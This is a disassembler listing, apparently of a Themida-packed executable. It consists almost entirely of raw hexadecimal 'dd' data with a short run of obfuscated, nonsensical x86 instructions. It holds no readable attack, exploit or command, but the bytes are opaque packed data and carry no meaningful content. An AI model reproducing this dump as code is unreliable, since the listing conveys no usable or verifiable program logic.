		dd 494C0648h, 6AEF24D0h, 0A76D0878h, 8001ED12h,	0C90A5F9Ch
		dd 11180880h, 0AC0275FDh, 0BD4F8828h, 0A32F88C0h, 3997BD0Ch
		dd 0CD00A657h, 17A13026h, 0D8C11B0Eh, 96DA4F2Bh, 9C23C3C1h
		dd 0A6D77704h, 17888833h, 20FA0C30h, 52F7D148h,	0FB12F8BCh
		dd 89842369h, 0C0F6A830h, 40FD0ED3h, 76484EFEh,	17E205D0h
		dd 1C63C6CFh, 3EE151F5h, 0C1E51080h, 8DCFD2D7h,	0E20029B8h
		dd 7AB9CAC5h, 40CB31h, 0AB590DF8h, 48FB4533h, 9939700h
		dd 0FFBDF704h, 0EC8D1E15h, 54E512D3h, 0F52440B0h, 64091890h
		dd 68CE8F53h, 4A37A173h, 70F0FBFDh, 356E47Ah, 0C6825E55h
		dd 2140105h, 706BB53h, 565BD62Ah, 0F003770Bh, 0BBA52D8Ch
		dd 0C79006C3h, 5CEA5DA0h, 822EC56Bh, 841D0CC8h,	0E3B7340Ch
		dd 0D0667EEh, 0EA238F8Ch, 296F9141h, 6F4B064Ch,	545C0C10h
		dd 824703BCh, 0E06A60FBh, 1868D4E5h, 358A16C0h,	285F5525h
		dd 1839C782h, 0A4E1F69h, 6E68F8EAh, 6700534Fh, 817CB252h
		dd 29EB1DECh, 47C45DCCh, 0EE8AFEAh, 26C6510Eh, 8A390CDFh
		dd 5ACB00F2h, 8CD1025Fh, 82251415h, 581437C5h, 20753C0h
		dd 0EA8860F9h, 0DD40E70h, 0FBEA9DC1h, 82528ADDh, 983D1EC3h
		dd 8416FFF6h, 340333C2h, 668322Eh, 0A208AB0Dh, 41421C51h
		dd 0E282D2F8h, 5F8AE897h, 0C2004A77h, 121C7EDEh, 0C0EFB6EAh
		dd 0B2BAB5C5h, 0E21F2966h, 9B8A5359h, 0F280A616h, 708E3930h
		dd 8DDCDF0Ah, 8589F75Dh, 2D9469DAh, 81BFB132h, 8CF40259h
		dd 31EA1484h, 69600186h, 31A06491h, 8948F190h, 6FEA7F5Bh
		dd 80665CEDh, 1FA32739h, 2EF9E69Bh, 9815A019h, 9E8251h
		dd 0C4695937h, 0BB2D5F54h, 5BD145A8h, 66091290h, 456201Bh
		dd 6902531Eh, 1BA567D6h, 0D880154h, 8A6627EAh, 0FCDCF718h
		dd 0F4C0851Ch, 5CD9312Ch, 4E901C1h, 0EEA0825h, 542A9D52h
		dd 0C9E028Ch, 0FA1D6B88h, 0BB10330Ch, 2457860Dh, 0CDF08E30h
		dd 0BAEAC0FCh, 68C14474h, 94FD86F4h, 43D6E28Bh,	0F4407FFEh
		dd 0D9323FAEh, 301CED34h, 0BF87BE90h, 2A46AA09h, 0EAB921E9h
		dd 0BB501343h, 18C7E882h, 0C484614h, 0CB07045Ah, 0DABA5247h
		dd 9C908AB9h, 4039D302h, 25FC8127h, 43CA6402h, 48FFEA24h
		dd 1EFC28Fh, 71F78208h,	0DB39BC3Bh, 8825F8C8h, 58E354Ch
		dd 7446EA5Fh, 11ABD54h,	695BD72Ah, 0B5987A0Bh, 6318A03Dh
		dd 0E8E55881h, 505DD040h, 820B0040h, 1A170FECh,	0D46FF825h
		dd 0A3C44004h, 145E2124h, 89DEBCEAh, 741D8C12h,	0A7D60CB3h
		dd 0EA150306h, 10F4142Ch, 307A4623h, 0D20A3B87h, 0C3043CEBh
		dd 0E1268510h, 809D3D91h, 0B9300315h, 7ED86B1Fh, 6207EC0Eh
		dd 0D9F8314Bh, 8053D122h, 0C61170A0h, 6AD9A016h, 2AB22634h
		dd 78EA0504h, 0C6834E93h, 5BFF56ECh, 848E584Ch,	1CD9060h
		dd 8C08C10h, 5FE84C3Ch,	3B33F611h, 48E49AECh, 7300BB0Eh
		dd 0EAE10940h, 0A1B972Dh, 2678CCC1h, 67900412h,	0C6EA35FAh
		dd 7FDE1ADFh, 5A0E6A0Dh, 6428E26h, 315BE64h, 0F709E8C2h
		dd 32800B30h, 4CE19A02h, 8A0327E6h, 9EA60FCh, 659AB10h
		dd 0E212CA9Eh, 9FD03DB2h, 0EBC21D93h, 8CD39F06h, 0E0AD654Fh
		dd 5564BFEEh, 0FD91560Eh, 95B041C0h, 6179F6CAh,	1DBF30F3h
		dd 31A1769h, 7E0D8AD7h,	0C25A41CEh, 9F8C3F61h, 0E4D654E4h
		dd 84DC220Ch, 69463BBBh, 0F3823300h, 4D084205h,	0CF01E3ECh
		dd 0EA32F00Dh, 24566388h, 116C31D8h, 0A6DB29CDh, 0FC97C48h
		dd 25B1A933h, 0C78051E3h, 1F0D8F7Eh, 403BD9C0h,	0C3F88219h
		dd 3555F36Fh, 40D8E1A6h, 0BEA4A0A2h, 68027E3Bh,	0EE19CC73h
		dd 1E605766h, 9841199Fh, 0E5C12E71h, 0BCD880C9h, 63DD48EEh
		dd 9A35F2EAh, 0B61993Fh, 2B222DD4h, 0A2AA8FC5h,	0E7656F96h
		dd 58E19334h, 0A68D08B9h, 405BBF0Eh, 18590392h,	2A5D15EAh
		dd 0BB0CF29h, 0ACEC9720h, 2E34661Bh, 0B72ACD32h, 2684D53Fh
		dd 946772F8h, 37625018h, 0B19EA87Fh, 1252F51Ah,	47024058h
		dd 0D15404B7h, 0C25CDB02h, 0C0003D73h, 1FBF9346h, 9FA32ABh
		dd 22311FE8h, 0F86710E5h, 468AA81Dh, 4992DAh, 5489EE82h
		dd 0DE026AEBh, 3340F1FCh, 0B655A0C4h, 8206805Eh, 3E3C691Ch
		dd 135F9CD6h, 0F54764D3h, 5502E41h, 18022251h, 408859C7h
		dd 88F7D45Dh, 3DEBED79h, 0DC8E649h, 56E2FF24h, 8ED898BEh
		dd 0CE2F824Eh, 4AF2F006h, 0C987C002h, 402ACEDBh, 0CADA8AC2h
		dd 0CFA15CB9h, 52EA1CFFh, 3106280Fh, 0D5C1DB0h,	7B0996D6h
		dd 0C0A4803Fh, 17B353h,	0B854DBF7h, 0F938EAB9h,	0B79E78D8h
		dd 1B6C2468h, 268222FCh, 68ED6F8h, 762B0AEDh, 0E5ACE24h
		dd 0EC560604h, 0C7EF7383h, 0AD34082Ah, 0A8865DC8h, 984D02D6h
		dd 595A1494h, 5D7E9584h, 51260D24h, 0C9D14FA3h,	0D755311Dh
		dd 2EC1B564h, 0FEA04EFh, 0A584F1B6h, 6927A209h,	442D8231h
		dd 2F144A40h, 430A2D87h, 44035962h, 5B7BFB6Dh, 7CE4E405h
		dd 0B6C06E32h, 76F13539h, 0DCA1F3Dh, 0C5FD808h,	0A22E47DCh
		dd 0C289CA06h, 17564402h, 13393CC8h, 251A040Ch,	0D82A022Dh
		dd 8CA8615Bh, 0B253F543h, 990951E3h, 81880C84h,	0D4325D94h
		dd 682553EAh, 2849D020h, 2E814509h, 42B14F0Dh, 0B7445A3Bh
		dd 5F4DDA63h, 0A39DAD8Ch, 39766A83h, 0CBE04E02h, 0C17977F3h
		dd 8E3C205h, 0FE0FBF57h, 3154F9F4h, 7463ED26h, 8A50E6CDh
		dd 6A0AEC3Fh, 0F0776171h, 0A8E5AB42h, 3D24B1A9h, 12F80A0Dh
		dd 3C5CDAD0h, 0D732F288h, 0AD8E4208h, 1ECA2D00h, 0D9699CEAh
		dd 0CBF8052Ah, 6445D227h, 7469DB61h, 1DAB49F6h,	0A262E402h
		dd 19FEA598h, 77704A81h, 8D5600AFh, 5ACC323Eh, 5C036054h
		dd 0B7805806h, 46F3A81Eh, 2130AFAh, 3A072EF9h, 0E67611D1h
		dd 4C23912h, 1DD816F4h,	0F70B1158h, 0B894CD1h, 0E40F813Bh
		dd 0D74DCFFFh, 17E3E704h, 0F5710650h, 0E76F5B73h, 6DB08A2Ah
		dd 345D320h, 342CF1CDh,	2E8569A0h, 53802999h, 0C176B151h
		dd 540503E1h, 66EA74B4h, 1B67D7FCh, 0FA9B88h, 1C34BAC2h
		dd 5024EA54h, 21A80F62h, 93AE155Ch, 0DF58CAE0h,	68C3C3CEh
		dd 0E7C3B42h, 0A0FB830h, 1EBDC681h, 0F8EA924Fh,	83166D30h
		dd 8FF004C4h, 3C873FC1h, 9ECB8B24h, 0A0C2FD5Ah,	0E068F192h
		dd 890EC05Fh, 30E92414h, 4CE49249h, 0B3813954h,	38303FFh
		dd 0E9D2F70Ch, 141DE0FAh, 0DECC465Bh, 1C810EE7h, 7FBBFCC5h
		dd 5DE80109h, 3C38DD08h, 875AD08Fh, 55004714h, 7B3826BDh
		dd 0F5038163h, 287C5299h, 0CD838F45h, 1AB78191h, 95335880h
		dd 1EE9A448h, 686EDF61h, 0BD8032C1h, 64B3241Ch,	0E9FCB050h
		dd 1ACF417Fh, 0D30CCF66h, 808F4701h, 0C6CC01EEh, 50E9308Eh
		dd 0C0D7F69Bh, 0F303EF3Eh, 50C5367h, 0E9BEF760h, 652C6327h
		dd 0C19B51D8h, 0BA01569Bh, 6EC2770Dh, 6DB3BE9h,	8044B424h
		dd 6C2082ECh, 80336635h
		dd 0DCF0631h, 2A81E65Ch, 2C7F57h, 605812BDh, 4E5C165h
		dd 9AA486A0h, 0A406402Ah, 2434FF1Dh, 48206806h,	98EB833Bh
		dd 6709E9E7h, 60211498h, 0A7C1815Dh, 0E8A25328h, 97FE4028h
		dd 8956590Fh, 0FABD26E6h, 7E06AC12h, 5E02850h, 0C0833F08h
		dd 55CD654h, 1DE9C331h,	3BC44EDh, 1A205A5Bh, 155621Dh
		dd 8BF02906h, 0AB57BA98h, 5E805F72h, 14C25081h,	68146087h
		dd 57CEE953h, 0EB246E92h, 111E932Dh, 162F5ACCh,	7F831CADh
		dd 840F0620h, 33A08997h, 3F353CFEh, 5927586Fh, 0FEA8F262h
		dd 414A1F40h, 0B17CDE2h, 671A8052h, 5308CE39h, 1E9302BBh
		dd 0BAE92951h, 0B8B88049h, 24247A9Dh, 0FD81611Bh, 5B28685Fh
		dd 0BB0F3C23h, 272C7CC7h, 0F68034A8h, 88511CD6h, 9FE9DF5h
		dd 2F0759EFh, 85CF744Ch, 0BF300D39h, 0F04C831Eh, 1EEC47E9h
		dd 0C3C77B9h, 0F1C7FB2Dh, 8A5D1001h, 8BC80163h,	0F3572321h
		dd 0EB9C2C64h, 744333E9h, 0C9F744AFh, 31581E25h, 97BA13h
		dd 0FD06E6C1h, 1F579DCCh, 0CD4E6DC4h, 11E7D89h,	35D6BC9h
		dd 37487E87h, 0EA6149D1h, 0C20029Eh, 3C407085h,	110F5A95h
		dd 0AD92917h, 5B1D08E9h, 0A530DC89h, 0EF01D33Ch, 57E37E7h
		dd 803318F4h, 8B28D031h, 66026F14h, 25E930FFh, 9C8588D4h
		dd 0AA38CF8Eh, 561EA1DFh, 0B22C70Eh, 0E91481F8h, 0E59F166Eh
		dd 67EB8FC3h, 906F9E44h, 0BF41B873h, 1DA2601h, 0D08958C2h
		dd 0A0599530h, 8069D877h, 449EC83h, 6683971h, 8B2F4C02h
		dd 98E91210h, 11865EE3h, 0E0CB412Ch, 11DD05F4h,	0E430C8F6h
		dd 89859B59h, 22805AD1h, 484F0FBBh, 48F77198h, 4141FFCEh
		dd 247B1B26h, 928D87EAh, 0CD436C1h, 51656DFCh, 0AE00C35Bh
		dd 509248F3h, 3C8D2468h, 7FE961D6h, 1BA8DD3h, 0D0549A74h
		dd 0E46283h, 6A0BD18h, 0EDC1270Ch, 946034Ch, 80E180D0h
		dd 5F6DC74Ch, 29351FA3h, 851B9EFh, 33565122h, 5C243D4Dh
		dd 56C8BE94h, 0F3195F01h, 40055830h, 7CB76806h,	4BC6B99h
		dd 3B4B1C80h, 4F56B781h, 15779633h, 851F8AE9h, 3E02C411h
		dd 0D9AB1A51h, 0A1B600C4h, 902DA856h, 3C27FFCh,	0E9FB0F08h
		dd 3D031BE7h, 0D409ACC7h, 720C0022h, 5D2DF96Eh,	7960F1E9h
		dd 0F45EF25h, 0C0D60A4h, 0A33326ADh, 5FF80113h,	262F9254h
		dd 79407D66h, 506F3C6Ch, 9808AF29h, 18C3A874h, 5362913h
		dd 6C293EBCh, 8214200Ch, 90CC2921h, 800175E6h, 663CD188h
		dd 95B6985Ah, 782BB12h,	134A833h, 53C6C2DDh, 4AC0D4Bh
		dd 52075A92h, 0BBB25954h, 2426980Bh, 23DCC5Dh, 6E341250h
		dd 58C33E44h, 44125281h, 0C90049F5h, 72766F52h,	330E50Eh
		dd 0D5F7E54Bh, 238DB90Fh, 0C0015170h, 0A3E508E9h, 0C1D8F8C6h
		dd 4C0760E8h, 1315497Fh, 1692BF80h, 0F29A891h, 58200171h
		dd 6E50685Ah, 6998F8A6h, 0C6B13448h, 17C101B9h,	33234568h
		dd 1BFEBA5Eh, 86CE6C1h,	0C802F38h, 7C0B03B8h, 3E5923E9h
		dd 1C471395h, 0C4688D20h, 0E932A805h, 401E9B3h,	1050311Fh
		dd 3C8B59F1h, 0BFB0CBA4h, 8E990270h, 0A1665C89h, 37BF68CFh
		dd 0C61A53B4h, 44430BDh, 7552A68h, 0BF57285Eh, 0AFAF20Eh
		dd 0F336E95Fh, 242326A1h, 742510D8h, 53574C6h, 65774DAh
		dd 0BBE9035Bh, 5048A58Bh, 86B41786h, 5A568152h,	0B2E15E09h
		dd 99D0421Eh, 0CD0D0CD5h, 52C3FDE3h, 0C212EC15h, 583DA4C0h
		dd 3521B8C1h, 0A03CB703h, 12FA5F8h, 5BDA010Eh, 0E02DAE20h
		dd 297B121Eh, 8A410D7h,	5F4CF648h, 6729EA1h, 2E0E8CB6h
		dd 52321362h, 8F5EA890h, 0A02A719Ah, 0E769A412h, 0EF96197Eh
		dd 0B14A66DAh, 71819EA0h, 0E1D931D3h, 613865DBh, 0A7A6016Dh
		dd 0B6D64C49h, 0F1887F1Fh, 201CD609h, 0CE5569C2h, 615EF420h
		dd 2EC6F03h, 0A4E2966h,	0C7D93026h, 5D981034h, 0FA9735E9h
		dd 44289471h, 163C4079h, 5F30C524h, 2C26852h, 0E935807Fh
		dd 8FAA364Dh, 0EEB35337h, 84559DB4h, 7D61E96Dh,	0C5835902h
		dd 88BB908Ah, 53124A1Bh, 21474E07h, 0E7EF8039h,	0E5DC0499h
		dd 6D83FF41h, 8B7F7763h, 515D6B00h, 0F85E9EB9h
		db 19h
; ---------------------------------------------------------------------------


loc_4E6DBD:				; CODE XREF: Themida_:004E6DD3j
		pop	eax
		shl	dword ptr [ecx], 0Ch
		jmp	near ptr 53BFAE08h
; ---------------------------------------------------------------------------
		dw 50FBh
		db 87h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		cwde
		or	cl, [edx-16F9DEA7h]
		jle	short loc_4E6DBD
		db	64h
		mov	bh, 83h
		inc	ebp
		cmp	[edx+ebp*2+5A51A4B8h], ebx
		add	[esi], cl
		push	19442F1Dh
		add	esi, eax
		pop	eax
		push	es
		push	ebx
		xor	[edx-73h], al
		add	dh, [esi]
		icebp
		aas
		jmp	near ptr 0C7989C1Ah
; ---------------------------------------------------------------------------
		dd 0FB20F6C6h, 76667B15h, 61DAF2EAh, 0C4807EF9h, 0E5CCCC42h
		dd 53B25226h, 805AD40Fh, 0D0E928ECh, 643AD881h,	0CD904953h
		dd 0B6AEC8C0h, 1689A4FAh, 7295DEFh, 4BF4E91Eh, 32C8F7A8h
		dd 2D685807h, 59675451h, 28A6FE48h, 7C98205Eh, 0AFEE8003h
		dd 0DAB3B151h, 0A5A8503Ch, 4E6884A5h, 1B53A278h, 37E909E9h
		dd 535E505Ch, 0D1B0EF52h, 744BE9EDh, 2966E302h,	8040CCF0h
		dd 0FB257D86h, 0D3181339h, 515A4D30h, 2A129CFEh, 4E8C0387h
		dd 0C503B0C1h, 81510606h, 101872Eh, 3AF8C35Ch, 0E570DDCFh
		dd 304DD3AFh, 0A4E81D15h, 5285F1Ch, 58A3FB44h, 54C7131Eh
		dd 981B4B8Bh, 7B96CBFDh, 4AD89D2Ch, 0F304D29Bh,	7A2E10EAh
		dd 2DCE4491h, 0D50F45E2h, 0E6D8017Eh, 236F12Eh,	8016B753h
		dd 0DA4199CFh, 0EB639C5Ch, 488028Bh, 0DA8CD8EEh, 1487245Bh
		dd 0A8D268D7h, 0B4DD559Ah, 4B577224h, 3A2B0B54h, 5A1F74B8h
		dd 96E788h, 53288426h, 0EA4F3ABBh, 0DF296E03h, 21AE95Bh
		dd 2B03BA53h, 0EC04251h, 0E13B3E79h, 23E20335h,	6775461h
		dd 0A4E94AF6h, 5E3B5A42h, 6B0A9257h, 40C91A44h,	280C9761h
		dd 0DAC8DB87h, 0E8165050h, 2FBD0FB8h, 73660AA6h, 0F300AF84h
		dd 9BF1EE9Ch, 0C35BDE29h, 0EB82E9E9h, 0C9313824h, 53A6F71Fh
		dd 0B0551604h, 0F6715887h, 0B7C8EAA9h, 5EF72E89h, 0B42252h
		dd 3054B050h, 620458C1h, 2CC8281Dh, 27D15914h, 22629815h
		dd 0CF8BC170h, 80D60F79h, 1C8EF70Ch, 1229B169h,	0C301E9F9h
		dd 1C004FE3h, 5A9F6EBEh, 0A59CA05h, 51E9377Ch, 0D0308AC0h
		dd 771413D7h, 0FC3C0DDh, 0D1B8C0B6h, 8559958Ah,	114CA928h
		dd 7A87D3BAh, 2F01C64h,	5816413Fh, 4824589Ah, 0E9125B91h
		dd 68083B53h, 915D1330h, 22801A3h, 5C7AC959h, 0E403375h
		dd 1D0C7A18h, 661CE91Eh, 70CC40FFh, 1282442h, 0A422ABF0h
		dd 0B7B80509h, 8273AF69h, 0E19122DDh, 169646Dh,	2D32DD48h
		dd 5127077Bh, 22B95977h, 4A4BFD3Dh, 0A43E4CE9h,	5594CB17h
		dd 252AD700h, 0F2A04B3Dh, 610043CEh, 0EEC14CD6h, 0BA9CE902h
		dd 25547619h, 0C6A21E7Fh, 5C2D23BEh, 374EDB2h, 433C3500h
		dd 48273D29h, 83EE4FA4h, 8EBC15Eh, 77CCC407h, 0CEF2392Ch
		dd 81BA4CEEh, 0E00660D8h, 0C1A41CF4h, 0D6848098h, 3F9F72Ch
		dd 2F301212h, 30E99C50h, 5850CCDCh, 773EDC0h, 8008E51Dh
		dd 30CE7BDh, 2C43C560h,	0E8281D21h, 8C591504h, 52CDE916h
		dd 0F9261ED5h, 0CA4FF79Eh, 8DA6758Bh, 9180D366h, 6775A76Ah
		dd 0E0680BA2h, 5928195Ah, 20F18119h, 80DE510Fh,	0A5652EB9h
		dd 0A85E483Ah, 94410741h, 0AF6271D4h, 0E60C6802h, 0D3C05B4Ch
		dd 0EE306520h, 74541A70h, 29371E2Ah, 8ED14CDh, 0C3B5E912h
		dd 6EB35A9Eh, 2D29AF50h, 3B430A1Fh, 94675E1Ch, 0E8832D4Ah
		dd 80E92710h, 0E6D1095Ch, 0E01E960Ch, 28A3C380h, 0C83AE79Ch
		dd 2CC6902Eh, 7B01C453h, 0D73006B7h, 0ABD998BCh, 4B4E4730h
		dd 8A7C9151h, 18E61231h, 8060EC30h, 0F6DB0FB4h,	60EC0D4h
		dd 8305E465h, 2B87E2E5h, 0EBEBB0Eh, 2CC71EEAh, 4D0836Dh
		dd 0E97880A5h, 139E1566h, 299F6BEFh, 0CF1581D2h, 5B30C7FEh
		dd 0A934391Fh, 600C293Ah, 1E3C3E9h, 2A05E801h, 573DB07Ah
		dd 3199DF20h, 694C4F1Dh, 8565F7h, 3F76C7EAh, 39594928h
		dd 4068B281h, 0E9315D0Ch, 292E5AE6h, 0F53BC24Ch, 4803D39Ah
		dd 708F1D2Dh, 4AC3FA7Dh, 2513E581h, 10A3198Bh, 0C3F8FB01h
		dd 20EA23E8h, 50BA5238h, 327DA5Dh, 40D69A02h, 81489F07h
		dd 8F44D85Dh, 18D32980h, 42C3015Ah, 0D62C5642h,	0CCECF072h
		dd 413A00BDh, 0EA295EF9h, 764DB6E9h, 8FD82EB2h,	0D9FBD3AAh
		dd 2E9D73DFh, 0E958165Dh, 2CC2B18Fh, 60910CCh, 0D7F7FB87h
		dd 0DC46F608h, 58C70B61h, 0FEF2D40h, 0D870DC90h, 0E466FD28h
		dd 0CCA28ECh, 5216405Bh, 0A221D457h, 908DD72Eh,	4504CAFEh
		dd 0FA5A1A1Ch, 0D6E44478h, 207B06CBh, 32685318h, 7B9E9417h
		dd 0B4506D2Dh, 0B92D04AEh, 820C8A3Fh, 78105C1h,	3DFF505Eh
		dd 3A5469EEh, 4C4439Fh,	0C05FB340h, 0CB7B80E3h,	510E6618h
		dd 0FD2853B1h, 2604AACh, 4FE99A2Ch, 0C69C4949h,	0E088F494h
		dd 70265CD5h, 212D2271h, 62A468C1h, 0BF86ED3Ch,	57A127D0h
		dd 0C4587C27h, 68007C01h, 3AD60A2Ah, 0D84D13F4h, 0F7518ADCh
		dd 0B3B2ECE9h, 0A09620F7h, 5C4BDF1Fh, 0B0503646h, 2C3F12D3h
		dd 0C96D034Ah, 0C0DD066Fh, 0A26C78E1h, 0DE314912h, 17D938B0h
		dd 6B53Eh, 0BD73FDA5h, 0D75DE97Ah, 836F731Ah, 0A9452BB2h
		dd 0D9AB8207h, 10BE0779h, 29583FA4h, 0D15AD60Fh, 75ADE5E6h
		dd 0EDD6785Ch, 62467E09h, 8F873C0h, 0BF0E141Fh,	4A5F0080h
		dd 523C22Dh, 0F8016E8Bh, 0A6071F05h, 80D10848h,	5CA16052h
		dd 605D8125h, 6B803B6h,	0A5B29817h, 3D6DD905h, 90DC1BB5h
		dd 68199E14h, 0B9EEDB5h, 985B52BEh, 402CE926h, 1C51B505h
		dd 12832C49h, 8804FEB2h, 0E8C37EF3h, 0C09485FFh, 0C58719DDh
		dd 0BB42CDEh, 0E9821F0Eh, 0BD4472F3h, 9F746AD4h, 9886AA7Ah
		dd 604BF481h, 62652AA8h, 0B48121FDh, 1E69EF81h,	532A0C63h
		dd 0EE0738DFh, 20FEA80Eh, 82E95FFEh, 0BD28C008h, 6605144Eh
		dd 0E60B6B90h, 40C81D55h, 4D99E959h, 0C98B3B7Ch, 3C5FE1C1h
		dd 0F920D69Fh, 82704F68h, 80304A41h, 4E67C689h,	0B45B26FBh
		dd 0D336429h, 0DAC0631h, 6261AC4Ah, 0F7035C41h,	0BA9E3DDDh
		dd 4DCA051Fh, 251A3F37h, 609E3141h, 73D97F1Fh, 0C1FA4AA6h
		dd 1FEE0C5h, 0CCE1E480h, 0E7E0BCC4h, 0FA885801h, 6E2C05Bh
		dd 0CF4CC420h, 53A55428h, 2FC61F56h, 27C1E5AEh,	903EA24Eh
		dd 68005452h, 50FF2D21h, 2F8C159h, 5203C090h, 91F822Eh
		dd 9F07DD9h, 0E04010A7h, 0E0CD9005h, 7EBA1CF3h,	90C82920h
		dd 306813A2h, 41F0897Ah, 481267Bh, 51ACAE0Fh, 1D64B310h
		dd 4ACC6F04h, 0AB580E31h, 531EC9A3h, 60D6323Dh,	553EE9FBh
		dd 0CECB16D2h, 4556294Eh, 5C1CD2E5h, 0A5225BDAh, 2E929848h
		dd 0A561BB2h, 27CA8804h, 8485A9B0h, 78895E80h, 638D2710h
		dd 5BE25A0h, 14F6647Ah,	74974465h, 0D549ECF2h, 1999552Ch
		dd 20E1D950h, 36C62D3Fh, 286735BFh, 0D3A7C782h,	0ED5B0893h
		dd 0E257521Eh, 0CE7C0D8Dh, 0E926D8B4h, 4FF6F12Eh, 15CCCA81h
		dd 0F2D82152h, 54491E57h, 38F71922h, 0A0CD3C5Ah, 0B6013A68h
		dd 59C260E9h, 0B805654Dh, 23E2D7D0h, 0EDE0FD5Bh, 0B62A02B6h
		dd 53500E96h, 0FC44CF88h, 0A407815Bh, 8C680015h, 3E2FC646h
		dd 0E35C3B5Ah, 0ACAC5FEAh, 10E93C3Ah, 38DC6A5h,	561B68DFh
		dd 224C3710h, 0C2015D0Fh, 470D3605h, 25D58858h,	3250162Bh
		dd 0E4D02A80h, 0F5624FB4h, 800E445Eh, 20EF287h,	0E93CE514h
		dd 93C8C6B9h, 48A53D1h,	0ACD0569Bh, 16F41C5h, 68575A20h
		dd 0C6695164h, 0A8B9F960h, 2E8E1904h, 0ECC0E1C1h, 3B3F80F1h
		dd 796E38h, 1D6507EAh, 0DE9D1F7h, 0F0EC4155h, 0B10A5AA8h
		dd 0F4FA0175h, 502E0820h, 0D065F0B8h, 0C52D6D82h, 0BF0F2EF9h
		dd 0BCCB409Bh, 124A1378h, 0A2265814h, 4D230A83h, 95652208h
		dd 2956C486h, 1BE1BE8Dh, 3568F93Ch, 0DABAB990h,	135AD19Eh
		dd 0F5A08DCEh, 5E3B9AF0h, 4C9A5813h, 16392056h,	55B703BEh
		dd 9A23F0EEh, 6700BD1Ch, 312D877Ah, 31E958C5h, 174D079h
		dd 165230D9h, 7DDF1C39h, 0D7562731h, 874C04EEh,	1D97B649h
		dd 8D55BD59h, 3E489CA1h
		dd 0D3275FB7h, 81F558C7h, 79315D36h, 0E5384861h, 4D357F60h
		dd 6D7320h, 53A1BF57h, 0BA6860FBh, 0CBD35658h, 4CE487BEh
		dd 56481DBh, 0C1DCB373h, 7338B8E2h, 16B6801Dh, 66F08800h
		dd 80A0045Ah, 0E61270C3h, 0BC159E9h, 0B013E42h,	0FB840FC0h
		dd 77D0513Bh, 0A6542428h, 4DBD2E03h, 0AD142E9h,	0C8758FCh
		dd 0BA9D6AF5h, 0C83CB948h, 8F05126h, 3B2FC539h,	58C2E94Dh
		dd 25270B98h, 62668ADh,	0DEC51C44h, 10ADF310h, 2A581420h
		dd 0B753E304h, 700AB8D7h, 0DE2CD83Bh, 8480BD57h, 3685253h
		dd 2494A33h, 31BB425Ah,	78A3609Dh, 367C8030h, 49CDF24Ch
		dd 0B0EB00DCh, 0E90E681Ch, 25569EE4h, 0CA1DB167h, 0CF80BAF0h
		dd 1106C117h, 0E403E7C0h, 0F7F88BC7h, 0B4B08270h, 164BC2FEh
		dd 0E4981925h, 0E9523A66h, 8D94FF2Dh, 3216C89Eh, 2902AC95h
		dd 0BB5EF101h, 814AEEC0h, 97A47FBAh, 25612C63h,	8A625D0Ch
		dd 1A5CCB40h, 651C6853h, 55D56C41h, 0FC8D82C7h,	4FA3FD6Ah
		dd 0FF2CF828h, 0E959245Bh, 0ABA67BFDh, 857616F1h, 0D3F5B392h
		dd 4051C362h, 95F0A72h,	0F9895DA8h, 792CCC0Bh, 6A9ADFAEh
		dd 0C0CFFE03h, 9A8004EFh, 0D4D612Fh, 0D30B9579h, 384F030h
		dd 62680207h, 8CB56641h, 4C544BA7h, 0D1B7B792h,	17FEE4Ch
		dd 590E0FD8h, 1D30DEF7h, 2C7302EDh, 672DE936h, 44F9874h
		dd 6AB37D0Eh, 0DBC3C814h, 0B7DF085Ch, 0E09EE50Ch, 0B79821B8h
		dd 27A0524Dh, 1AB1859h,	8B34B3CEh, 4F29B8E9h, 21138551h
		dd 245A0BA2h, 807C84D4h, 605C7101h, 99064940h, 0E3390904h
		dd 685EACACh, 12586F27h, 2C72C5C7h, 0FC910CF9h,	9D07E2CDh
		dd 50579E79h, 0EA1A8C4h, 0CF404669h, 16D29CA3h,	3AE8F5Fh
		dd 88505351h, 54E392D4h, 5A1253F7h, 49CC651Ah, 2CDB2D68h
		dd 50E8F599h, 9B055F82h, 1159071Eh, 72DD84Ah, 2F8D853Ah
		dd 0A7C0178Bh, 1743637Eh, 0CCE82960h, 0D5296819h, 9CA0807Ch
		dd 1D0DDC00h, 0B245BD3Dh, 31291586h, 2349CFD5h,	21365260h
		dd 0F7133439h, 821C4DDDh, 0B72515D6h, 0FBACA39Dh, 0CF282C9Fh
		dd 5AD8B509h, 142DAAEh,	5321A530h, 480906BBh, 14B75F8h
		dd 7B5D192Ah, 0C0DBF460h, 73A52210h, 0DE0C0193h, 38CE84E9h
		dd 8368155Dh, 7B859D24h, 55AE607Fh, 0DEA05D54h,	8082E2BEh
		dd 0DC7DD000h, 0E04D6736h, 63EDA045h, 0AC0F92CCh, 3C5DEF21h
		dd 10021CC5h, 5FFA1CC1h, 9E52F964h, 68724C43h, 901C982Fh
		dd 915B542Eh, 9649698Bh, 13243F8Fh, 54561AD0h, 0A230975Eh
		dd 0E9803B82h, 4B845851h, 21ECB592h, 0C1028C1h,	642E580h
		dd 0C5FE3EB5h, 4BD233AAh, 60878CBDh, 2CE37E0Eh,	4810D601h
		dd 0C75D2708h, 0C1D90AE3h, 0E6A43995h, 0DAEF08AAh, 2AA06E25h
		dd 9C6EEB83h, 560F8098h, 33B86DB3h, 47DC6B01h, 0D148D0F7h
		dd 56EB9630h, 6459D029h, 6802503Ah, 78084D5Dh, 0B35C94C2h
		dd 38428F05h, 753A8581h, 39F8004h, 1F587E27h, 29D8015Bh
		dd 10E95379h, 8D4F7D78h, 2B0E25EEh, 0D6A1DE25h,	3634D4E1h
		dd 79DC17BEh, 0AF70059Ch, 877B8840h, 838AD9B8h,	35333269h
		dd 8A72203h, 266B0968h,	9D6F1237h, 0D6E24229h, 832542C4h
		dd 682C683Ah, 74355802h, 0B86E24D2h, 6D9A03B0h,	0C48B7F09h
		dd 28C11DDCh, 2E007E1h,	1E335C8Ch, 0F080D1F7h, 9B83D24h
		dd 1BA9A94h, 0DEE55B96h, 0DC8CCF89h, 4F15227h, 0F7A4B01h
		dd 737CCE81h, 0B883A131h, 2FE567B3h, 1CD30C17h,	0F3099D16h
		dd 0C707805Eh, 16386A0Dh, 95DEE01h, 92CDE46h, 592650A6h
		dd 4E1C2E58h, 6FE1A58h,	0E5B7C841h, 18FEF501h, 263070F7h
		dd 40D269F4h, 0C582B489h, 53094EA4h, 0E4A82678h, 63322EDh
		dd 0DD40631h, 0C886105Bh, 297B1542h, 0B2FDC0ACh, 0CB7CD628h
		dd 144B1E27h, 3A1049E9h, 0E3537301h, 0A0CD016Fh, 1CC00890h
		dd 778947F4h, 6E2527E9h, 4A14C726h, 0FF0D06DBh,	0C8B90DB4h
